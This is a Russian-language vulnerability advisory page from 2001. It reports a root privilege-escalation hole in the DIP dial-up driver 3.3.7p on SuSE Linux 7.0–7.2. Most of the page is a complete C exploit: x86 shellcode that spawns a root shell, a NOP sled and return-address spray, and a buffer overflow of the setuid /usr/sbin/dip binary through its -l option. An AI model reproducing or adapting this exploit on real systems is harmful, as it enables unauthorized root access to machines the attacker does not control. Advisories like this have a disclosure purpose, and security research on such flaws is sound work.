Security Lab

Старая дыра в DIP все еще жива!

Дата публикации:23.07.2001
Дата изменения:17.10.2006
Всего просмотров:1446
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

DIP (Драйвер Протокола Доступа в Internet по коммутируемой линии) обрабатывает подключения, необходимые для связей доступа в Internet по коммутируемой линии, подобно SLIP или CSLIP. Он может обрабатывать как входящие, так и исходящие подключения, используя защиту пароля для входящих подключений. Уязвимость защиты была обнаружена 3 года назад, но все равно присутствует в в SuSE Linux, версии 7.2 и-8.0. Уязвимость выдает root привилегии.

Уязвимые системы:

SuSE Linux 7.0

SuSE Linux 7.1

SuSE Linux 7.2

DIP version 3.3.7p-uri



Эксплоит:

/* Linux x86 dip 3.3.7p exploit by pr10n */



#include <stdio.h>

#define NOP 0x90



/*thanks to hack.co.za*/

char shellcode[] =

"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"

"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"

"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"

"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";



unsigned long get_sp(void){ __asm__("movl %esp, %eax");}



main(int argc, char *argv[]){



char buf[136];

int i;

int offset=0,*ptr;

long ret;



if(argc!=2){

printf("usage: %s offset\n",argv[0]);

exit(0);}



offset=atoi(argv[1]);

ret=(get_sp()-offset);

for(i=1;i<136;i+=4){

*(long *)&buf[i]=ret;}



printf("\nusing: 0x%x\n\n",ret);



for(i=0;i<(sizeof(buf)-strlen(shellcode)-40);i++)

buf[i]=NOP;



memcpy(buf+i,shellcode,strlen(shellcode));

execl("/usr/sbin/dip","dip","-k","-l",buf,(char *)0);

}